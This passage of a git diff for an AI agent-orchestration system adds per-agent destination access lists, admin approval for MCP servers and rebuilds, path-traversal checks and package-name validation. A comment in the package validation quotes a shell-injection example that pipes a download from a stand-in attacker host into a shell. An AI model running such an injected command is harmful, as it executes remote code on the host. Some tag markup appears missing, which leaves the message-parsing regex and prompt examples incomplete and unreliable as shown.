}, }; @@ -87,7 +77,7 @@ export const addMcpServer: McpToolDefinition = { tool: { name: 'add_mcp_server', description: - "Add an MCP server to this agent's configuration. Takes effect on next container restart (no rebuild needed, no approval required).", + "Request adding an MCP server to this agent's configuration. Requires admin approval. Fire-and-forget: you will be notified when approved/rejected. On approval, your container restarts with the new server.", inputSchema: { type: 'object' as const, properties: { @@ -110,7 +100,6 @@ export const addMcpServer: McpToolDefinition = { kind: 'system', content: JSON.stringify({ action: 'add_mcp_server', - requestId, name, command, args: (args.args as string[]) || [], @@ -119,7 +108,7 @@ export const addMcpServer: McpToolDefinition = { }); log(`add_mcp_server: ${requestId} → "${name}" (${command})`); - return await pollForResponse(requestId, 30_000); + return ok(`MCP server request submitted. You will be notified when admin approves or rejects.`); }, }; @@ -127,7 +116,7 @@ export const requestRebuild: McpToolDefinition = { tool: { name: 'request_rebuild', description: - 'Request a container rebuild to apply pending package installations. Requires admin approval. The current container will be stopped and restarted with the new image.', + 'Request a container rebuild to apply pending package installations. Requires admin approval. Fire-and-forget: you will be notified when approved/rejected. On approval, your container restarts with the new image on the next message.', inputSchema: { type: 'object' as const, properties: { @@ -142,13 +131,12 @@ export const requestRebuild: McpToolDefinition = { kind: 'system', content: JSON.stringify({ action: 'request_rebuild', - requestId, reason: (args.reason as string) || '', }), }); log(`request_rebuild: ${requestId}`); - return await pollForResponse(requestId, 300_000); + return ok(`Rebuild request submitted. You will be notified when admin approves or rejects.`); }, }; diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 149083e..6b358de 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,3 +1,4 @@ +import { findByName } from './destinations.js'; import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js'; @@ -143,9 +144,6 @@ export async function runPollLoop(config: PollLoopConfig): Promise { log(`Processing ${normalMessages.length} message(s), kinds: ${[...new Set(normalMessages.map((m) => m.kind))].join(',')}`); - // Set routing context as env vars for MCP tools - setRoutingEnv(routing, config.env); - const query = config.provider.query({ prompt, sessionId, @@ -247,9 +245,6 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: log(`Pushing ${newMessages.length} follow-up message(s) into active query`); query.push(prompt); - const newRouting = extractRouting(newMessages); - setRoutingEnv(newRouting, config.env); - markCompleted(newIds); lastEventTime = Date.now(); // new input counts as activity } @@ -270,15 +265,7 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: if (event.type === 'init') { querySessionId = event.sessionId; } else if (event.type === 'result' && event.text) { - writeMessageOut({ - id: generateId(), - in_reply_to: routing.inReplyTo, - kind: routing.channelType ? 'chat' : 'chat', - platform_id: routing.platformId, - channel_type: routing.channelType, - thread_id: routing.threadId, - content: JSON.stringify({ text: event.text }), - }); + dispatchResultText(event.text, routing); } } } finally { @@ -306,10 +293,66 @@ function handleEvent(event: ProviderEvent, _routing: RoutingContext): void { } } -function setRoutingEnv(routing: RoutingContext, env: Record): void { - env.NANOCLAW_PLATFORM_ID = routing.platformId ?? undefined; - env.NANOCLAW_CHANNEL_TYPE = routing.channelType ?? undefined; - env.NANOCLAW_THREAD_ID = routing.threadId ?? undefined; +/** + * Parse the agent's final text for ... blocks + * and dispatch each one to its resolved destination. Text outside of blocks + * (including ...) is scratchpad — logged but not sent. + * + * If the agent emits zero blocks AND non-empty text, log a warning: + * the agent produced output with no recipient. That's usually a bug in the + * agent — the system prompt tells it to wrap user-visible text in blocks. + */ +function dispatchResultText(text: string, routing: RoutingContext): void { + const MESSAGE_RE = /([\s\S]*?)<\/message>/g; + + let match: RegExpExecArray | null; + let sent = 0; + let lastIndex = 0; + const scratchpadParts: string[] = []; + + while ((match = MESSAGE_RE.exec(text)) !== null) { + if (match.index > lastIndex) { + scratchpadParts.push(text.slice(lastIndex, match.index)); + } + const toName = match[1]; + const body = match[2].trim(); + lastIndex = MESSAGE_RE.lastIndex; + + const dest = findByName(toName); + if (!dest) { + log(`Unknown destination in , dropping block`); + scratchpadParts.push(`[dropped: unknown destination "${toName}"] ${body}`); + continue; + } + + const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!; + const channelType = dest.type === 'channel' ? dest.channelType! : 'agent'; + writeMessageOut({ + id: generateId(), + in_reply_to: routing.inReplyTo, + kind: 'chat', + platform_id: platformId, + channel_type: channelType, + thread_id: null, + content: JSON.stringify({ text: body }), + }); + sent++; + } + if (lastIndex < text.length) { + scratchpadParts.push(text.slice(lastIndex)); + } + + const scratchpad = scratchpadParts + .join('') + .replace(/[\s\S]*?<\/internal>/g, '') + .trim(); + if (scratchpad) { + log(`[scratchpad] ${scratchpad.slice(0, 500)}${scratchpad.length > 500 ? '…' : ''}`); + } + + if (sent === 0 && text.trim()) { + log(`WARNING: agent output had no blocks — nothing was sent`); + } } function sleep(ms: number): Promise { diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index 13bf4a8..c95469e 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -14,13 +14,27 @@ You are Main, a personal assistant. You help with tasks, answer questions, and c ## Communication -Your output is sent to the user or group. Be concise — every message costs the reader's attention. +Be concise — every message costs the reader's attention. -Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final output). Pace your updates to the length of the work: +### Named destinations -- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and report in your final output. No mid-work messages. -- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") so the user knows you got the message. Don't leave them waiting in silence. -- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. "About to install ffmpeg — this'll take a minute" is better than the user wondering if you're stuck. +You don't send messages to a "current conversation" — every outbound message goes to an explicitly named destination. The list of destinations available to you is injected into your system prompt at the start of every turn. + +**To send a message**, wrap it in a `...` block. You can include multiple blocks in one response to send to multiple destinations. Text outside of `` blocks is scratchpad — logged but never sent anywhere. + +``` +On my way home, 15 minutes +``` + +Inbound messages are labeled with `from="name"` so you know which destination they came from and can reply by using that same name as `to=`. + +### Mid-turn updates + +Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before your final output) — it takes the same `to` destination name. Pace your updates to the length of the work: + +- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and put the result in your final `` block. +- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") via `send_message` so the user knows you got the message. +- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. **Never narrate micro-steps.** "I'm going to read the file now… okay, I'm reading it… now I'm parsing it…" is noise. Updates should mark meaningful transitions, not every tool call. @@ -28,16 +42,14 @@ Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final o ### Internal thoughts -If part of your output is internal reasoning rather than something for the user, wrap it in `` tags: +If part of your output is internal reasoning rather than something for the reader, wrap it in `` tags — or just leave it as plain text outside any `` block. Both are scratchpad. ``` Compiled all three reports, ready to summarize. -Here are the key findings from the research... +Here are the key findings from the research… ``` -Text inside `` tags is logged but not sent to the user. If you've already sent the key information via `send_message`, you can wrap the recap in `` to avoid sending it again. - ### Sub-agents and teammates When working as a sub-agent or teammate, only use `send_message` if instructed to by the main agent. diff --git a/setup/register.ts b/setup/register.ts index 8d018a4..e41f378 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -11,6 +11,11 @@ import { DATA_DIR } from '../src/config.js'; import { initDb } from '../src/db/connection.js'; import { runMigrations } from '../src/db/migrations/index.js'; import { createAgentGroup, getAgentGroupByFolder } from '../src/db/agent-groups.js'; +import { + createDestination, + getDestinationByName, + normalizeName, +} from '../src/db/agent-destinations.js'; import { createMessagingGroup, createMessagingGroupAgent, @@ -41,6 +46,8 @@ interface RegisterArgs { assistantName: string; /** Session mode: 'shared' (one session per channel) or 'per-thread' */ sessionMode: string; + /** Optional local name the agent uses for this channel (defaults to normalized messaging group name) */ + localName: string | null; } function parseArgs(args: string[]): RegisterArgs { @@ -54,6 +61,7 @@ function parseArgs(args: string[]): RegisterArgs { isMain: false, assistantName: 'Andy', sessionMode: 'shared', + localName: null, }; for (let i = 0; i < args.length; i++) { @@ -87,6 +95,9 @@ function parseArgs(args: string[]): RegisterArgs { case '--session-mode': result.sessionMode = args[++i] || 'shared'; break; + case '--local-name': + result.localName = args[++i] || null; + break; } } @@ -168,7 +179,7 @@ export async function run(args: string[]): Promise { log.info('Created messaging group', { id: mgId, channel: parsed.channel, platformId: parsed.platformId }); } - // 3. Wire agent to messaging group + // 3. Wire agent to messaging group + create destination row for the agent's map let newlyWired = false; const existing = getMessagingGroupAgentByPair(messagingGroup.id, agentGroup.id); if (!existing) { @@ -190,7 +201,29 @@ export async function run(args: string[]): Promise { priority: parsed.isMain ? 10 : 0, created_at: new Date().toISOString(), }); - log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id }); + + // Create destination row so the agent can address this channel by name. + // Auto-suffix on collision within this agent's namespace. + const baseLocalName = normalizeName(parsed.localName || parsed.name); + let localName = baseLocalName; + let suffix = 2; + while (getDestinationByName(agentGroup.id, localName)) { + localName = `${baseLocalName}-${suffix}`; + suffix++; + } + createDestination({ + agent_group_id: agentGroup.id, + local_name: localName, + target_type: 'channel', + target_id: messagingGroup.id, + created_at: new Date().toISOString(), + }); + log.info('Wired agent to messaging group', { + mgaId, + agentGroup: agentGroup.id, + messagingGroup: messagingGroup.id, + localName, + }); } // 4. Send onboarding message — only on first wiring, not re-registration diff --git a/src/container-runner.ts b/src/container-runner.ts index 743b7ce..ac4d2cf 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -15,7 +15,13 @@ import { getAgentGroup } from './db/agent-groups.js'; import { getMessagingGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; -import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDir } from './session-manager.js'; +import { + markContainerIdle, + markContainerRunning, + markContainerStopped, + sessionDir, + writeDestinationsFile, +} from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; const onecli = new OneCLI({ url: ONECLI_URL }); @@ -53,6 +59,9 @@ export async function wakeContainer(session: Session): Promise { return; } + // Refresh the destination map file so any admin changes take effect on wake + writeDestinationsFile(agentGroup.id, session.id); + const mounts = buildMounts(agentGroup, session); const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); @@ -235,6 +244,9 @@ async function buildContainerArgs( if (agentGroup.name) { args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); } + args.push('-e', `NANOCLAW_AGENT_GROUP_ID=${agentGroup.id}`); + args.push('-e', `NANOCLAW_AGENT_GROUP_NAME=${agentGroup.name}`); + args.push('-e', `NANOCLAW_IS_ADMIN=${agentGroup.is_admin ? '1' : '0'}`); // OneCLI gateway — injects HTTPS_PROXY + certs so container API calls // are routed through the agent vault for credential injection. diff --git a/src/db/agent-destinations.ts b/src/db/agent-destinations.ts new file mode 100644 index 0000000..2d319de --- /dev/null +++ b/src/db/agent-destinations.ts @@ -0,0 +1,74 @@ +/** + * Per-agent destination map + ACL. + * + * Each row means: agent `agent_group_id` is allowed to send messages to + * target (`target_type`, `target_id`), and refers to it locally as `local_name`. + * + * Names are local to each source agent — they exist only inside that agent's + * namespace. The host uses this table both for routing (resolve name → ID) + * and for permission checks (row exists ⇒ authorized). + */ +import type { AgentDestination } from '../types.js'; +import { getDb } from './connection.js'; + +export function createDestination(row: AgentDestination): void { + getDb() + .prepare( + `INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at) + VALUES (@agent_group_id, @local_name, @target_type, @target_id, @created_at)`, + ) + .run(row); +} + +export function getDestinations(agentGroupId: string): AgentDestination[] { + return getDb() + .prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ?') + .all(agentGroupId) as AgentDestination[]; +} + +export function getDestinationByName(agentGroupId: string, localName: string): AgentDestination | undefined { + return getDb() + .prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?') + .get(agentGroupId, localName) as AgentDestination | undefined; +} + +/** Reverse lookup: what does this agent call the given target? */ +export function getDestinationByTarget( + agentGroupId: string, + targetType: 'channel' | 'agent', + targetId: string, +): AgentDestination | undefined { + return getDb() + .prepare( + 'SELECT * FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ?', + ) + .get(agentGroupId, targetType, targetId) as AgentDestination | undefined; +} + +/** Permission check: can this agent send to this target? */ +export function hasDestination( + agentGroupId: string, + targetType: 'channel' | 'agent', + targetId: string, +): boolean { + const row = getDb() + .prepare( + 'SELECT 1 FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ? LIMIT 1', + ) + .get(agentGroupId, targetType, targetId); + return !!row; +} + +export function deleteDestination(agentGroupId: string, localName: string): void { + getDb().prepare('DELETE FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?').run(agentGroupId, localName); +} + +/** Normalize a human-readable name into a lowercase, dash-separated identifier. */ +export function normalizeName(name: string): string { + return ( + name + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') || 'unnamed' + ); +} diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index 81cd68e..9fdbb40 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -62,7 +62,7 @@ describe('migrations', () => { const db = initTestDb(); runMigrations(db); const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; - expect(row.v).toBe(3); + expect(row.v).toBe(4); }); }); diff --git a/src/db/migrations/004-agent-destinations.ts b/src/db/migrations/004-agent-destinations.ts new file mode 100644 index 0000000..503e97e --- /dev/null +++ b/src/db/migrations/004-agent-destinations.ts @@ -0,0 +1,81 @@ +import type Database from 'better-sqlite3'; + +import type { Migration } from './index.js'; + +/** + * Agent destinations: per-agent named map of allowed message targets. + * + * This table is BOTH the routing map and the ACL. A row exists iff the + * source agent is permitted to send to the target. No row = unauthorized. + * + * target_type: 'channel' references messaging_groups(id) + * target_type: 'agent' references agent_groups(id) + * + * Names are scoped per source agent — worker-1 may call the admin "parent" + * while admin calls the child "worker-1". The (agent_group_id, local_name) + * PK enforces uniqueness within a single agent's namespace only. + */ +export const migration004: Migration = { + version: 4, + name: 'agent-destinations', + up(db: Database.Database) { + db.exec(` + CREATE TABLE agent_destinations ( + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + local_name TEXT NOT NULL, + target_type TEXT NOT NULL, + target_id TEXT NOT NULL, + created_at TEXT NOT NULL, + PRIMARY KEY (agent_group_id, local_name) + ); + CREATE INDEX idx_agent_dest_target ON agent_destinations(target_type, target_id); + `); + + // Backfill from existing messaging_group_agents wirings. + // For each wired (agent, messaging_group), create a destination row + // using the messaging group's name (normalized) as the local name. + // Collisions get a -2, -3 suffix within each agent's namespace. + const rows = db + .prepare( + `SELECT mga.agent_group_id, mga.messaging_group_id, mg.channel_type, mg.name + FROM messaging_group_agents mga + JOIN messaging_groups mg ON mg.id = mga.messaging_group_id`, + ) + .all() as Array<{ + agent_group_id: string; + messaging_group_id: string; + channel_type: string; + name: string | null; + }>; + + const takenByAgent = new Map>(); + const insert = db.prepare( + `INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at) + VALUES (?, ?, 'channel', ?, ?)`, + ); + const now = new Date().toISOString(); + + for (const row of rows) { + const base = normalizeName(row.name || `${row.channel_type}-${row.messaging_group_id.slice(0, 8)}`); + const taken = takenByAgent.get(row.agent_group_id) ?? new Set(); + let localName = base; + let suffix = 2; + while (taken.has(localName)) { + localName = `${base}-${suffix}`; + suffix++; + } + taken.add(localName); + takenByAgent.set(row.agent_group_id, taken); + insert.run(row.agent_group_id, localName, row.messaging_group_id, now); + } + }, +}; + +function normalizeName(name: string): string { + return ( + name + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') || 'unnamed' + ); +} diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts index 3a51c5f..c210359 100644 --- a/src/db/migrations/index.ts +++ b/src/db/migrations/index.ts @@ -4,6 +4,7 @@ import { log } from '../../log.js'; import { migration001 } from './001-initial.js'; import { migration002 } from './002-chat-sdk-state.js'; import { migration003 } from './003-pending-approvals.js'; +import { migration004 } from './004-agent-destinations.js'; export interface Migration { version: number; @@ -11,7 +12,7 @@ export interface Migration { up: (db: Database.Database) => void; } -const migrations: Migration[] = [migration001, migration002, migration003]; +const migrations: Migration[] = [migration001, migration002, migration003, migration004]; export function runMigrations(db: Database.Database): void { db.exec(` diff --git a/src/delivery.ts b/src/delivery.ts index 047d696..144d213 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -19,8 +19,20 @@ import { getSession, createPendingApproval, } from './db/sessions.js'; -import { getAgentGroup, getAdminAgentGroup, createAgentGroup, updateAgentGroup } from './db/agent-groups.js'; -import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; +import { + getAgentGroup, + getAdminAgentGroup, + createAgentGroup, + updateAgentGroup, + getAgentGroupByFolder, +} from './db/agent-groups.js'; +import { + createDestination, + getDestinationByName, + hasDestination, + normalizeName, +} from './db/agent-destinations.js'; +import { getMessagingGroupByPlatform, getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { openInboundDb, @@ -62,6 +74,83 @@ export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void { deliveryAdapter = adapter; } +/** + * Deliver a system notification to an agent as a regular chat message. + * Used for fire-and-forget responses from host actions (create_agent result, + * approval outcomes, etc.). The agent sees it as an inbound chat message + * with sender="system". + */ +function notifyAgent(session: Session, text: string): void { + writeSessionMessage(session.agent_group_id, session.id, { + id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ text, sender: 'system', senderId: 'system' }), + }); + // Wake the container so it picks up the notification promptly + const fresh = getSession(session.id); + if (fresh) { + wakeContainer(fresh).catch((err) => log.error('Failed to wake container after notification', { err })); + } +} + +/** + * Send an approval request to the admin channel and record a pending_approval row. + * The admin's button click routes via the existing ncq: card infrastructure to + * handleApprovalResponse in index.ts, which completes the action. + */ +async function requestApproval( + session: Session, + agentName: string, + action: 'install_packages' | 'request_rebuild' | 'add_mcp_server', + payload: Record, + question: string, +): Promise { + const adminGroup = getAdminAgentGroup(); + const adminMGs = adminGroup ? getMessagingGroupsByAgentGroup(adminGroup.id) : []; + if (adminMGs.length === 0) { + notifyAgent(session, `${action} failed: no admin channel configured for approvals.`); + return; + } + const adminChannel = adminMGs[0]; + + const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + createPendingApproval({ + approval_id: approvalId, + session_id: session.id, + request_id: approvalId, // fire-and-forget: no separate request id to correlate + action, + payload: JSON.stringify(payload), + created_at: new Date().toISOString(), + }); + + if (deliveryAdapter) { + try { + await deliveryAdapter.deliver( + adminChannel.channel_type, + adminChannel.platform_id, + null, + 'chat-sdk', + JSON.stringify({ + type: 'ask_question', + questionId: approvalId, + question, + options: ['Approve', 'Reject'], + }), + ); + } catch (err) { + log.error('Failed to deliver approval card', { action, approvalId, err }); + notifyAgent(session, `${action} failed: could not deliver approval request to admin.`); + return; + } + } + + log.info('Approval requested', { action, approvalId, agentName }); +} + /** Show typing indicator on a channel. Called when a message is routed to the agent. */ export async function triggerTyping(channelType: string, platformId: string, threadId: string | null): Promise { try { @@ -227,12 +316,27 @@ async function deliverMessage( return; } - // Agent-to-agent — route to target session + // Agent-to-agent — route to target session (with permission check) if (msg.channel_type === 'agent') { await routeAgentMessage(msg, session); return; } + // Permission check: the source agent must have a destination row for this target. + // Defense in depth — the container already validates via its local map, but the + // host's central DB is the authoritative ACL. + if (msg.channel_type && msg.platform_id) { + const mg = getMessagingGroupByPlatform(msg.channel_type, msg.platform_id); + if (!mg || !hasDestination(session.agent_group_id, 'channel', mg.id)) { + log.warn('Unauthorized channel destination — dropping message', { + sourceAgentGroup: session.agent_group_id, + channelType: msg.channel_type, + platformId: msg.platform_id, + }); + return; + } + } + // Track pending questions for ask_user_question flow if (content.type === 'ask_question' && content.questionId) { createPendingQuestion({ @@ -293,7 +397,13 @@ async function deliverMessage( return platformMsgId; } -/** Route an agent-to-agent message to the target agent's session. */ +/** + * Route an agent-to-agent message to the target agent's session. + * + * Permission is enforced via agent_destinations — the source agent must have + * a row for the target. Content is copied verbatim; the target's formatter + * will look up the source agent in its own local map to display a name. + */ async function routeAgentMessage( msg: { id: string; platform_id: string | null; content: string }, sourceSession: Session, @@ -304,35 +414,29 @@ async function routeAgentMessage( return; } - const targetGroup = getAgentGroup(targetAgentGroupId); - if (!targetGroup) { + if (!hasDestination(sourceSession.agent_group_id, 'agent', targetAgentGroupId)) { + log.warn('Unauthorized agent-to-agent message — dropping', { + source: sourceSession.agent_group_id, + target: targetAgentGroupId, + }); + return; + } + + if (!getAgentGroup(targetAgentGroupId)) { log.warn('Target agent group not found', { id: msg.id, targetAgentGroupId }); return; } - const sourceGroup = getAgentGroup(sourceSession.agent_group_id); - const sourceAgentName = sourceGroup?.name || sourceSession.agent_group_id; - - // Find or create a session for the target agent const { session: targetSession } = resolveSession(targetAgentGroupId, null, null, 'agent-shared'); - // Enrich content with sender info - const content = JSON.parse(msg.content); - const enrichedContent = JSON.stringify({ - text: content.text, - sender: sourceAgentName, - senderId: sourceSession.agent_group_id, - }); - - const messageId = `agent-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; writeSessionMessage(targetAgentGroupId, targetSession.id, { - id: messageId, + id: `a2a-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, kind: 'chat', timestamp: new Date().toISOString(), platformId: sourceSession.agent_group_id, channelType: 'agent', threadId: null, - content: enrichedContent, + content: msg.content, }); log.info('Agent message routed', { @@ -341,10 +445,8 @@ async function routeAgentMessage( targetSession: targetSession.id, }); - const freshSession = getSession(targetSession.id); - if (freshSession) { - await wakeContainer(freshSession); - } + const fresh = getSession(targetSession.id); + if (fresh) await wakeContainer(fresh); } /** Ensure the delivered table has new columns (migration for existing sessions). */ @@ -436,205 +538,176 @@ async function handleSystemAction( case 'create_agent': { const requestId = content.requestId as string; const name = content.name as string; - let folder = - (content.folder as string) || - name - .toLowerCase() - .replace(/[^a-z0-9_-]/g, '_') - .replace(/_+/g, '_'); const instructions = content.instructions as string | null; - try { - // Avoid duplicate folders - const { getAgentGroupByFolder } = await import('./db/agent-groups.js'); - if (getAgentGroupByFolder(folder)) { - folder = `${folder}_${Date.now()}`; - } - - const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - createAgentGroup({ - id: agentGroupId, - name, - folder, - is_admin: 0, - agent_provider: null, - container_config: null, - created_at: new Date().toISOString(), - }); - - const groupPath = path.join(GROUPS_DIR, folder); - fs.mkdirSync(groupPath, { recursive: true }); - - if (instructions) { - fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions); - } - - writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', { - agentGroupId, - name, - folder, - }); - - log.info('Agent group created via system action', { agentGroupId, name, folder }); - } catch (e) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: e instanceof Error ? e.message : String(e), - }); + const sourceGroup = getAgentGroup(session.agent_group_id); + if (!sourceGroup?.is_admin) { + // Notify the agent via a chat message (fire-and-forget pattern) + notifyAgent(session, `Your create_agent request for "${name}" was rejected: admin permission required.`); + log.warn('create_agent denied (not admin)', { sessionAgentGroup: session.agent_group_id, name }); + break; } + + const localName = normalizeName(name); + + // Collision in the creator's destination namespace + if (getDestinationByName(sourceGroup.id, localName)) { + notifyAgent(session, `Cannot create agent "${name}": you already have a destination named "${localName}".`); + break; + } + + // Derive a safe folder name, deduplicated globally across agent_groups.folder + let folder = localName; + let suffix = 2; + while (getAgentGroupByFolder(folder)) { + folder = `${localName}-${suffix}`; + suffix++; + } + + const groupPath = path.join(GROUPS_DIR, folder); + const resolvedPath = path.resolve(groupPath); + const resolvedGroupsDir = path.resolve(GROUPS_DIR); + if (!resolvedPath.startsWith(resolvedGroupsDir + path.sep)) { + notifyAgent(session, `Cannot create agent "${name}": invalid folder path.`); + log.error('create_agent path traversal attempt', { folder, resolvedPath }); + break; + } + + const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + const now = new Date().toISOString(); + + createAgentGroup({ + id: agentGroupId, + name, + folder, + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now, + }); + + fs.mkdirSync(groupPath, { recursive: true }); + if (instructions) { + fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions); + } + + // Insert bidirectional destination rows (= ACL grants). + // Creator refers to child by the name it chose; child refers to creator as "parent". + createDestination({ + agent_group_id: sourceGroup.id, + local_name: localName, + target_type: 'agent', + target_id: agentGroupId, + created_at: now, + }); + // Handle the unlikely case where the child already has a "parent" destination + // (shouldn't happen for a brand-new agent, but be safe). + let parentName = 'parent'; + let parentSuffix = 2; + while (getDestinationByName(agentGroupId, parentName)) { + parentName = `parent-${parentSuffix}`; + parentSuffix++; + } + createDestination({ + agent_group_id: agentGroupId, + local_name: parentName, + target_type: 'agent', + target_id: sourceGroup.id, + created_at: now, + }); + + // Fire-and-forget notification back to the creator + notifyAgent(session, `Agent "${localName}" created. You can now message it with ....`); + log.info('Agent group created', { agentGroupId, name, localName, folder, parent: sourceGroup.id }); + // Note: requestId is unused — this is fire-and-forget, not request/response. + void requestId; break; } case 'add_mcp_server': { - const requestId = content.requestId as string; + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + notifyAgent(session, 'add_mcp_server failed: agent group not found.'); + break; + } const serverName = content.name as string; const command = content.command as string; - const serverArgs = content.args as string[]; - const serverEnv = content.env as Record; - - try { - const agentGroup = getAgentGroup(session.agent_group_id); - if (!agentGroup) throw new Error('Agent group not found'); - - const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; - if (!containerConfig.mcpServers) containerConfig.mcpServers = {}; - containerConfig.mcpServers[serverName] = { command, args: serverArgs || [], env: serverEnv || {} }; - - updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); - - writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', { - message: `MCP server "${serverName}" added. Will take effect on next container restart.`, - }); - - log.info('MCP server added', { agentGroupId: session.agent_group_id, name: serverName }); - } catch (e) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: e instanceof Error ? e.message : String(e), - }); + if (!serverName || !command) { + notifyAgent(session, 'add_mcp_server failed: name and command are required.'); + break; } + await requestApproval(session, agentGroup.name, 'add_mcp_server', { + name: serverName, + command, + args: (content.args as string[]) || [], + env: (content.env as Record) || {}, + }, `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`); break; } case 'install_packages': { - const requestId = content.requestId as string; - const apt = (content.apt as string[]) || []; - const npm = (content.npm as string[]) || []; - const reason = content.reason as string; - const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' }); + notifyAgent(session, 'install_packages failed: agent group not found.'); break; } - // Find admin channel for approval card - const adminGroup = getAdminAgentGroup(); - let approvalChannelType: string | null = null; - let approvalPlatformId: string | null = null; + const apt = (content.apt as string[]) || []; + const npm = (content.npm as string[]) || []; + const reason = (content.reason as string) || ''; - if (adminGroup) { - const adminMGs = getMessagingGroupsByAgentGroup(adminGroup.id); - if (adminMGs.length > 0) { - approvalChannelType = adminMGs[0].channel_type; - approvalPlatformId = adminMGs[0].platform_id; - } + // Host-side sanitization (defense in depth — container should validate first). + // Strict allowlist: Debian/npm naming rules only. Blocks shell injection via + // package names like `vim; curl evil.com | sh`. + const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/; + const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; + const MAX_PACKAGES = 20; + if (apt.length + npm.length === 0) { + notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.'); + break; } - - if (!approvalChannelType || !approvalPlatformId) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: 'No admin channel found for approval', - }); + if (apt.length + npm.length > MAX_PACKAGES) { + notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`); + break; + } + const invalidApt = apt.find((p) => !APT_RE.test(p)); + if (invalidApt) { + notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`); + log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt }); + break; + } + const invalidNpm = npm.find((p) => !NPM_RE.test(p)); + if (invalidNpm) { + notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`); + log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm }); break; } - const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - createPendingApproval({ - approval_id: approvalId, - session_id: session.id, - request_id: requestId, - action: 'install_packages', - payload: JSON.stringify({ apt, npm, reason }), - created_at: new Date().toISOString(), - }); - - const packageList = [...apt.map((p: string) => `apt: ${p}`), ...npm.map((p: string) => 